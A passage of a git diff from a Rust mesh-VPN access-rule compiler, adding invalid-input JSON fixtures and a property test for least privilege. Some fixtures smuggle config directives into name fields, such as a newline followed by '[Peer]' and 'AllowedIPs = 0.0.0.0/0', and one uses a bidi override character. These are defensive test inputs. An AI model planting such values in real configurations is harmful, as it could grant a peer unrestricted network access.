a/crates/roads/tests/fixtures/invalid/snapshots/format-two.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/format-two.directory.json new file mode 100644 index 0000000..c7064b6 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/format-two.directory.json @@ -0,0 +1,12 @@ +{ + "format": 2, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "jana"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/member-group.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/member-group.directory.json new file mode 100644 index 0000000..033035f --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/member-group.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "household"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/member-unknown.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/member-unknown.directory.json new file mode 100644 index 0000000..09b81b3 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/member-unknown.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "nobody"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/name-bidi.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/name-bidi.directory.json new file mode 100644 index 0000000..4554657 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/name-bidi.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Jana\u202e" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "jana"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/name-newline.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/name-newline.devices.json new file mode 100644 index 0000000..18cbf74 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/name-newline.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc\n[Peer]", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/name-newline.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/name-newline.directory.json new file mode 100644 index 0000000..936cbdb --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/name-newline.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva\n[Peer]\nAllowedIPs = 0.0.0.0/0" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "jana"] } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/owner-unknown.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/owner-unknown.devices.json new file mode 100644 index 0000000..8d2330f --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/owner-unknown.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "nobody", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/route-host-bits.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/route-host-bits.devices.json new file mode 100644 index 0000000..bade1e7 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/route-host-bits.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.7/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/route-internet.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/route-internet.devices.json new file mode 100644 index 0000000..36c893b --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/route-internet.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["8.8.8.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/route-link-local.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/route-link-local.devices.json new file mode 100644 index 0000000..72d97b5 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/route-link-local.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["169.254.0.0/16"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/route-overlap.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/route-overlap.devices.json new file mode 100644 index 0000000..2a94d73 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/route-overlap.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true, "routes": ["192.168.0.0/16"] }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/service-host.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/service-host.devices.json new file mode 100644 index 0000000..a56052c --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/service-host.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "Photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/service-no-ports.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/service-no-ports.devices.json new file mode 100644 index 0000000..0d471a6 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/service-no-ports.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1" }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": [] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/unknown-field.devices.json b/crates/roads/tests/fixtures/invalid/snapshots/unknown-field.devices.json new file mode 100644 index 0000000..6e5ada2 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/unknown-field.devices.json @@ -0,0 +1,17 @@ +{ + "format": 1, + "devices": [ + { "key": "AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE", "name": "mark-pc", "owner": "mark", "address": "100.96.0.1", "allowed_ips": ["0.0.0.0/0"] }, + { "key": "AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI", "name": "home-server", "owner": "mark", "address": "100.96.0.2", "exit": true, "relay": true, + "routes": ["192.168.100.0/24"], + "services": [ + { "host": "photos.home.arpa", "ports": ["tcp/443"] }, + { "host": "git.home.arpa", "ports": ["tcp/443", "tcp/22"] } + ] }, + { "key": "AwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM", "name": "jana-phone", "owner": "jana", "address": "100.96.0.3" }, + { "key": "BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQ", "name": "jana-laptop", "owner": "jana", "address": "100.96.0.4" }, + { "key": "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU", "name": "router", "address": "100.96.0.5", "classic": true }, + { "key": "BgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY", "name": "friend-node", "owner": "petr", "address": "100.96.0.6", "exit": true }, + { "key": "BwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwc", "name": "petr-phone", "owner": "petr", "address": "100.96.0.7" } + ] +} diff --git a/crates/roads/tests/fixtures/invalid/snapshots/unknown-field.directory.json b/crates/roads/tests/fixtures/invalid/snapshots/unknown-field.directory.json new file mode 100644 index 0000000..f05f735 --- /dev/null +++ b/crates/roads/tests/fixtures/invalid/snapshots/unknown-field.directory.json @@ -0,0 +1,12 @@ +{ + "format": 1, + "people": [ + { "id": "mark", "name": "Mark" }, + { "id": "jana", "name": "Jana" }, + { "id": "petr", "name": "Petr" }, + { "id": "eva", "name": "Eva", "role": "admin" } + ], + "groups": [ + { "id": "household", "name": "Household", "members": ["mark", "jana"] } + ] +} diff --git a/crates/roads/tests/least_privilege.rs b/crates/roads/tests/least_privilege.rs new file mode 100644 index 0000000..d09ad63 --- /dev/null +++ b/crates/roads/tests/least_privilege.rs @@ -0,0 +1,751 @@ +//! Mandatory test 3: least privilege, as a property test (proptest), designed after QA's plan +//! (`Via/qa/02_roads_attacks.md` §10). +//! +//! - **Generators** draw small worlds so that collisions are frequent: 1–4 people, up to 2 groups, 2–7 devices, +//! routes inside `10.0.0.0/22`, road subnets of /22 to /32 inside the same /22 (so nesting, adjacency and +//! overlap are the normal case), `until` on the boundary (`now − 1 s`, `now`, `now + 1 s`), five port sets, +//! 10% custom roads carrying `AllowedIPs = 0.0.0.0/0`, and 5% deliberately invalid roads. +//! - The world comes from a byte string, so proptest's shrinking makes counterexamples smaller. +//! - The **oracle** below shares no code with `roads`: it reads the generated world (not the parsed store), +//! resolves people and groups itself, and compares networks with `u32` arithmetic. +//! +//! Properties: P-1 every receiving-side firewall rule, sampled at both ends and the middle of its network and +//! of its ports, is allowed by an active road for the device whose address is the rule's source (so a client +//! that widens its own allowed IPs gains nothing: only the receiving side is checked); every allowed IP on the +//! sending side is exactly what a road names (no supernet, QA R-02); every firewall source sits on its own +//! peer as a /32 (no spoofing, QA R-10); invalid and expired roads change no byte; removing a road or moving +//! `now` forward never adds a rule (P-3, P-4); `explain` agrees with the firewall (P-7). + +use jiff::{SignedDuration, Timestamp as Instant}; +use proptest::prelude::*; +use roads::plan::{Direction, Dst}; +use roads::{DeviceKey, Store, compile}; +use std::collections::BTreeSet; +use std::sync::atomic::{AtomicUsize, Ordering}; + +const NOW: &str = "2026-11-25T12:00:00Z"; +const BASE: u32 = 0x0A00_0000; // 10.0.0.0 + +static CASES: AtomicUsize = AtomicUsize::new(0); +static P1_CASES: AtomicUsize = AtomicUsize::new(0); +static P1_WITH_RULES: AtomicUsize = AtomicUsize::new(0); +static P1_RULES: AtomicUsize = AtomicUsize::new(0); +static P1_ALLOWED: AtomicUsize = AtomicUsize::new(0); + +fn now() -> Instant { + NOW.parse().unwrap() +} + +/// Draws choices from bytes; an exhausted source gives 0, the simplest choice. +struct Src<'a> { + b: &'a [u8], + i: usize, +} + +impl Src<'_> { + fn n(&mut self, n: usize) -> usize { + let v = self.b.get(self.i).copied().unwrap_or(0) as usize; + self.i += 1; + v % n + } + fn pct(&mut self, p: usize) -> bool { + self.n(100) < p + } +} + +#[derive(Clone, Debug)] +struct Dev { + owner: Option, + classic: bool, + exit: bool, + relay: bool, + route: Option<(u32, u8)>, + service: Option>, +} + +#[derive(Clone, Debug, PartialEq)] +enum Subj { + Person(usize), + Group(usize), + Device(usize), + App, +} + +#[derive(Clone, Debug, PartialEq)] +enum Obj { + Device(usize), + Subnet(u32, u8), + Service(usize), + Exit(usize), +} + +#[derive(Clone, Debug, PartialEq)] +enum Verb { + Reach, + Exits, + Direct, + Kill, + Custom, +} + +#[derive(Clone, Debug)] +struct R { + subject: Subj, + verb: Verb, + object: Option, + /// Seconds from now. + until: Option, + ports: Option>, + classic: Option, + invalid: bool, +} + +#[derive(Clone, Debug)] +struct World { + people: usize, + groups: Vec>, + devs: Vec, + roads: Vec, +} + +const PORT_SETS: [&[(&str, u16, u16)]; 4] = [ + &[("tcp", 443, 443)], + &[("tcp", 22, 22), ("tcp", 443, 443)], + &[("tcp", 1, 1024)], + &[("tcp", 1, 65535)], +]; + +fn world(bytes: &[u8]) -> World { + let mut s = Src { b: bytes, i: 0 }; + let people = 1 + s.n(4); + let groups = (0..s.n(3)) + .map(|_| (0..people).filter(|_| s.pct(50)).collect()) + .collect(); + let n_dev = 2 + s.n(6); + let devs = (0..n_dev) + .map(|i| Dev { + owner: if s.pct(80) { Some(s.n(people)) } else { None }, + classic: s.pct(10), + exit: s.pct(30), + relay: s.pct(20), + route: (i < 4 && s.pct(70)).then(|| (BASE + ((i as u32) << 8), 24)), + service: s.pct(35).then(|| PORT_SETS[s.n(2)].to_vec()), + }) + .collect::>(); + let n_roads = 1 + s.n(12); + let roads = (0..n_roads) + .map(|_| { + let verb = match s.n(20) { + 0..=10 => Verb::Reach, + 11..=13 => Verb::Exits, + 14 | 15 => Verb::Direct, + 16 | 17 => Verb::Kill, + _ => Verb::Custom, + }; + // Indices one past the end name things that do not exist. + let subject = match (s.n(4), &verb) { + (_, Verb::Custom) => Subj::Device(s.n(n_dev + 1)), + (3, Verb::Direct) => Subj::App, + (0, _) | (3, _) => Subj::Person(s.n(people + 1)), + (1, _) => Subj::Group(s.n(3)), + _ => Subj::Device(s.n(n_dev + 1)), + }; + let object = match verb { + Verb::Custom => None, + Verb::Exits | Verb::Kill => Some(Obj::Exit(s.n(n_dev + 1))), + Verb::Direct => Some(Obj::Subnet( + if s.pct(50) { 0 } else { BASE }, + if s.pct(50) { 0 } else { 22 }, + )), + Verb::Reach => Some(match s.n(3) { + 0 => Obj::Device(s.n(n_dev + 1)), + 1 => Obj::Service(s.n(n_dev + 1)), + _ => { + if s.pct(10) { + Obj::Subnet(0x0A09_0000, 24) // routed by nobody + } else { + let len = 22 + s.n(11) as u8; + let off = (s.n(256) as u32) << 2 | s.n(4) as u32; + Obj::Subnet(BASE | (off & mask(len) & 0x3FF), len) + } + } + }), + }; + R { + until: match s.n(6) { + 0 | 1 => None, + 2 => Some(-1), + 3 => Some(0), + 4 => Some(1), + _ => Some(86_400), + }, + ports: (verb == Verb::Reach && s.pct(50)).then(|| PORT_SETS[s.n(4)].to_vec()), + classic: match s.n(3) { + 0 => None, + 1 => Some(true), + _ => Some(false), + }, + invalid: s.pct(5), + subject, + verb, + object, + } + }) + .collect(); + World { + people, + groups, + devs, + roads, + } +} + +fn mask(len: u8) -> u32 { + if len == 0 { + 0 + } else { + u32::MAX << (32 - len as u32) + } +} + +fn ip(v: u32) -> String { + format!( + "{}.{}.{}.{}", + v >> 24, + (v >> 16) & 255, + (v >> 8) & 255, + v & 255 + ) +} + +fn dev_addr(i: usize) -> u32 { + 0x6460_0000 + 1 + i as u32 // 100.96.0.(i+1) +} + +fn dev_key(i: usize) -> String { + DeviceKey::from_bytes(&[i as u8 + 1; 32]) + .as_str() + .to_string() +} + +fn id_of(i: usize) -> String { + format!("t{i:05}") +} + +fn ports_text(p: &[(&str, u16, u16)]) -> String { + let items: Vec = p + .iter() + .map(|(pr, lo, hi)| { + if lo == hi { + format!("{pr}/{lo}") + } else { + format!("{pr}/{lo}-{hi}") + } + }) + .collect(); + format!("[{}]", items.join(", ")) +} + +/// The world as store bytes, written here without the library's writer. +fn to_store(w: &World, roads: &[(usize, &R)], when: Instant) -> Store { + let people: Vec = (0..w.people) + .map(|p| format!(r#"{{"id":"p{p}","name":"P{p}"}}"#)) + .collect(); + let groups: Vec = w + .groups + .iter() + .enumerate() + .map(|(g, m)| { + let m: Vec = m.iter().map(|p| format!("\"p{p}\"")).collect(); + format!( + r#"{{"id":"g{g}","name":"G{g}","members":[{}]}}"#, + m.join(",") + ) + }) + .collect(); + let directory = format!( + r#"{{"format":1,"people":[{}],"groups":[{}]}}"#, + people.join(","), + groups.join(",") + ); + let devices: Vec = w + .devs + .iter() + .enumerate() + .map(|(i, d)| { + let owner = d.owner.map(|o| format!(r#","owner":"p{o}""#)).unwrap_or_default(); + let routes = d.route.map(|(n, l)| format!(r#","routes":["{}/{l}"]"#, ip(n))).unwrap_or_default(); + let services = d + .service + .as_ref() + .map(|p| { + let ports: Vec = ports_text(p).trim_matches(['[', ']']).split(", ").map(|x| format!("\"{x}\"")).collect(); + format!(r#","services":[{{"host":"s{i}.test","ports":[{}]}}]"#, ports.join(",")) + }) + .unwrap_or_default(); + format!( + r#"{{"key":"{}","name":"d{i}","address":"{}","classic":{},"exit":{},"relay":{}{owner}{routes}{services}}}"#, + dev_key(i), + ip(dev_addr(i)), + d.classic, + d.exit, + d.relay + ) + }) + .collect(); + let devices = format!(r#"{{"format":1,"devices":[{}]}}"#, devices.join(",")); + let files: Vec<(String, Vec)> = roads + .iter() + .map(|(i, r)| { + let mut t = format!("---\nid: {}\n", id_of(*i)); + t += &match &r.subject { + Subj::Person(p) => format!("subject: person:p{p}\n"), + Subj::Group(g) => format!("subject: group:g{g}\n"), + Subj::Device(d) => format!("subject: device:{}\n", dev_key(*d)), + Subj::App => "subject: app:games\n".into(), + }; + t += match r.verb { + Verb::Reach => "verb: can-reach\n", + Verb::Exits => "verb: exits-through\n", + Verb::Direct => "verb: goes-direct\n", + Verb::Kill => "verb: never-online-without\n", + Verb::Custom => "verb: custom\n", + }; + if let Some(o) = &r.object { + t += &match o { + Obj::Device(d) => format!("object: device:{}\n", dev_key(*d)), + Obj::Exit(d) => format!("object: exit:{}\n", dev_key(*d)), + Obj::Service(d) => format!("object: service:s{d}.test\n"), + Obj::Subnet(n, l) => format!("object: subnet:{}/{l}\n", ip(*n)), + }; + } + if let Some(u) = r.until { + let key = if r.invalid { "untill" } else { "until" }; + t += &format!("{key}: {}\n", (now() + SignedDuration::from_secs(u))); + } else if r.invalid { + t += "allowedIPs: [0.0.0.0/0]\n"; + } + if let Some(p) = &r.ports { + t += &format!("ports: {}\n", ports_text(p)); + } + if let Some(c) = r.classic + && matches!(r.verb, Verb::Reach | Verb::Exits | Verb::Custom) + { + t += &format!("classic: {c}\n"); + } + t += "created: 2026-11-01T00:00:00Z\n---\n"; + if r.verb == Verb::Custom { + t += "```raw\n[Peer]\nPublicKey = AAAA\nAllowedIPs = 0.0.0.0/0, ::/0\n```\n"; + } + (format!("{}-r.md", id_of(*i)), t.into_bytes()) + }) + .collect(); + let _ = when; + Store::from_parts(&files, Some(directory.as_bytes()), Some(devices.as_bytes())) +} + +// ------------------------------------------------------------------ the oracle (no roads code) + +fn subj_devs(w: &World, s: &Subj) -> BTreeSet { + (0..w.devs.len()) + .filter(|&d| match s { + Subj::Person(p) => w.devs[d].owner == Some(*p), + Subj::Group(g) => w + .groups + .get(*g) + .is_some_and(|m| w.devs[d].owner.is_some_and(|o| m.contains(&o))), + Subj::Device(x) => *x == d, + Subj::App => true, + }) + .collect() +} + +/// An upper bound on the roads that can grant: not deliberately invalid, not expired at `at` (seconds from +/// NOW). The compiler may refuse more (classic, unknown references); it may never grant more. +fn live(r: &R, at: i64) -> bool { + !r.invalid && r.until.is_none_or(|u| at < u) +} + +fn in_prefix(addr: u32, net: u32, len: u8) -> bool { + addr & mask(len) == net & mask(len) +} + +fn ports_allow(p: &Option>, proto: &str, port: u16) -> bool { + p.as_ref().is_none_or(|ps| { + ps.iter() + .any(|(pr, lo, hi)| *pr == proto && *lo <= port && port <= *hi) + }) +} + +/// May device `d` open a connection to `addr` on `proto/port`, by some live can-reach road? +fn may_reach(w: &World, at: i64, d: usize, addr: u32, proto: &str, port: u16) -> bool { + w.roads + .iter() + .filter(|r| live(r, at) && r.verb == Verb::Reach && subj_devs(w, &r.subject).contains(&d)) + .any(|r| match r.object.as_ref().unwrap() { + Obj::Device(x) => { + *x < w.devs.len() && addr == dev_addr(*x) && ports_allow(&r.ports, proto, port) + } + Obj::Service(x) => { + *x < w.devs.len() + && w.devs[*x].service.is_some() + && addr == dev_addr(*x) + && ports_allow(&r.ports.clone().or(w.devs[*x].service.clone()), proto, port) + } + 